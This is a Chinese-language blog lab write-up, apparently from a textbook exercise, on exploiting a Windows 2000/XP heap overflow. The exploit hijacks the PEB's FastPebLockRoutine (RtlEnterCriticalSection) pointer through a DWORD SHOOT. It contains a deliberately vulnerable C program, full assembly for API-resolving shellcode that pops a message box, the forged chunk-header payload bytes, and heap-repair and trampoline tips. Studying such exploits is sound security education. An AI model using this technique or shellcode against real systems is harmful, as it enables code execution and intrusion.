堆溢出 代码植入 狙击RtlEnterCriticalSection()函数指针

代码

#include <windows.h>
char shellcode[]="\x90\x90\x90\x90\x90\x90\x90\x90……";
int main()
{
	HLOCAL h1 = 0, h2 = 0;
	HANDLE hp;
	hp = HeapCreate(0,0x1000,0x10000);
	h1 = HeapAlloc(hp,HEAP_ZERO_MEMORY,200);
	__asm int 3 //used to break process
	memcpy(h1,shellcode,0x200); //overflow,0x200=512
	h2 = HeapAlloc(hp,HEAP_ZERO_MEMORY,8);
	return 0;
} 

PEB中偏移为0x20,0x24的地方分别放着指向FastPebLockRoutine,和FastPebUnlockRoutine这两个函数的指针,这两个函数分别对应着函数的加锁与解锁,为多线程时,对该线程数据的保护操作,加上FastPebLockRoutine锁了之后,该段数据在同一时间只允许一个线程对其操作,如果要让另一线程使用该段数据必须使用FastPebUnlockRoutine解锁。
所以这次打算通过程序堆的异常使程序调用Exitprocess,调用Exitprocess时也会调用这两个函数,因此我们可以通过修改这两个函数的指针来起到劫持的作用。
h1向堆中申请了 200 字节的空间。memcpy 的上限错误地写成了 0x200,这实际上是 512 字节,所以会产生溢出。用伪造的指针覆盖尾块块首中的空表指针,当 h2 分配时,将导致 DWORD SHOOT。0x7FFDF020 处的 RtlEnterCriticalSection()函数指针,直接修改为 shellcode 的位置。DWORD SHOOT 完毕后,堆溢出导致异常,最终将调用 ExitProcess()结束进程。ExitProcess()在结束进程时需要调用临界区函数来同步线程,但却从 P.E.B 中拿出了指向 shellcode 的指针,因此 shellcode 被执行。

+0x020 FastPebLockRoutine : //PEB加锁
+0x024 FastPebUnlockRoutine : //解锁

实验目的

简单实现狙击RtlEnterCriticalSection()函数指针

实验准备

环境:windows xp
编译器:vc++
调试器:OD

实验过程

1.先写一个shellcode,大体上与之前的弹出窗口shellcode思路相仿,然后把200字节空间填满后,再溢出,把下一个尾块的空表指针给替换了,前向指针改成shellcode的起始地址,后向指针改成FastPebLockRoutine。这样相当于程序调用这个函数的时候就调用的是你的shellcode。
在这里插入图片描述

nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop            //填充
cld            //使DF标志位复位  
push 0x1E380A6A    
push 0x4FD18963
push 0x0C917432   //保存MassageBox,ExitProcess,LoadLibrary的hash值
mov esi,esp   //堆栈指针放入esi寄存器
lea edi,dword ptr ds:[esi-0xC] 

xor ebx,ebx
mov bh,0x4
sub esp,ebx

mov bx,0x3233
push ebx
push 0x72657375
push esp
xor edx,edx//user32

mov ebx,dword ptr fs:[edx+0x30]
mov ecx,dword ptr ds:[ebx+0xC]
mov ecx,dword ptr ds:[ecx+0x1C]
mov ecx,dword ptr ds:[ecx]
mov ebp,dword ptr ds:[ecx+0x8]//kernel32地址

lods dword ptr ds:[esi]
cmp eax,0x1E380A6A//比较MassageBox的hash值
jnz short 003A06E4
xchg eax,ebp
call dword ptr ds:[edi-0x8]//LoadLibrary(user32)
xchg eax,ebp

pushad
mov eax,dword ptr ss:[ebp+0x3C]//e_lfanew
mov ecx,dword ptr ss:[ebp+eax+0x78]
add ecx,ebp
mov ebx,dword ptr ds:[ecx+0x20]
add ebx,ebp//找到位于里面的导出函数名称表
xor edi,edi

inc edi
mov esi,dword ptr ds:[ebx+edi*4]
add esi,ebp//遍历名称
cdq

movsx eax,byte ptr ds:[esi]
cmp al,ah
je short 003A070B
ror edx,0x7
add edx,eax
inc esi
jmp short 003A06FC//hash算法

cmp edx,dword ptr ss:[esp+0x1C]
jnz short 003A06F5
mov ebx,dword ptr ds:[ecx+0x24]
add ebx,ebp
mov di,word ptr ds:[ebx+edi*2]
mov ebx,dword ptr ds:[ecx+0x1C]
add ebx,ebp
add ebp,dword ptr ds:[ebx+edi*4]
xchg eax,ebp
pop edi
stos dword ptr es:[edi]
push edi
popad
cmp eax,0x1E380A6A
jnz short 003A06D7//找到函数地址

xor ebx,ebx
push ebx
push 0x74736577
push 0x6C696166
mov eax,esp
push ebx
push eax
push eax
push ebx
call dword ptr ds:[edi-0x4]
push ebx
call dword ptr ds:[edi-0x8]//弹出窗口并退出
nop
nop
nop
nop
nop
nop
nop
nop
\x16\x01\x1A\x00\x00\x10\x00\x00// head of the free block
\x88\x06\x3a\x00//指向shellcode的开头
\x20\xf0\xfd\x7f//指向FastPebLockRoutine

2.但是直接把FastPebLockRoutine地址改了的话,shellcode中调用这个函数的函数就都没办法用了,所以修改一下shellcode前面。调用完函数进入shellcode之后再把FastPebLockRoutine还原。
(最后还是没有实验成功,应该是系统机制的问题,我改了FastPebLockRoutine的指针还是没弹出窗口,标准实验实在windows 2k下进行的,我是在xp下。改天下个2k的虚拟机重新整次,感觉好像是windows xp下FastPebLockRoutine指针的位置发生变化了)

MOV EAX,7FFDF020 
MOV EBX,[7FFDF020]
MOV [EAX],EBX 

PS:之后又用windows2k试成功了
根据shellcode在2k中的位置进行调整

\x88\x06\x54\x00

根据FastPebLockRoutine指向的地址修改恢复的函数

\x03\x91\xF8\x77

最后成功了
在这里插入图片描述

总结

虽然这次没有成功。。函数的地方最后还是没找到。但是还是了解了下堆溢出的应用。
还是根据书上的简单做做总结吧。
首先堆调试要分调试态和常态,要用int 3去触发异常,然后再attach进程,不能直接拖进od,或者可以修改检测调试器的函数的检测值。比如修改IsDebugPresent的返回值。
还要注意修护环境,比如这次对FastPebLockRoutine指针的修改就必须要调回去,不然就会影响接下来的函数,同样shellcode开始时也要注意环境的初始化,不然一些符号标志位上可能会影响跳转。
在堆溢出中,有时还需要修复被我们折腾得乱七八糟的堆区。通常,比较简单修复堆区的
做法包括如下步骤。
(1)在堆区偏移 0x28 的地方存放着堆区所有空闲块的总和 TotalFreeSize。
(2)把一个较大块(或干脆直接找个暂时不用的区域伪造一个块首)块首中标识自身大小的两个字节(self size)修改成堆区空闲块总容量的大小(TotalFreeSize)。
(3)把该块的 flag 位设置为 0x10(last entry 尾块)。
(4)把 freelist[0]的前向指针和后向指针都指向这个堆块。
这样可以使整个堆区“看起来好像是”刚初始化完”只有一个大块的样子,不但可以继续完成分配工作,还保护了堆中已有的数据。(这方法太强了,相当于直接新开了一块堆区)
还有可能shellcode面对地址随机化的问题,要像栈溢出运用jmp esp定位一样,在程序中寻找跳板,因为堆溢出一般是把shellcode“绑定”到一个函数上的,因此可以用以下指令来起到跳板的作用。

CALL DWORD PTR [EDI + 0x78]
CALL DWORD PTR [ESI+0x4C]
CALL DWORD PTR [EBP+0x74] 

(吾爱破解的OD不知道为什么int 3中断之后nop还是不能F7,F8。没办法观察堆。得要用原版的OD异常弹出之后才能仔细观察。下次整个原版OD慢慢再调次)

  • 3
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值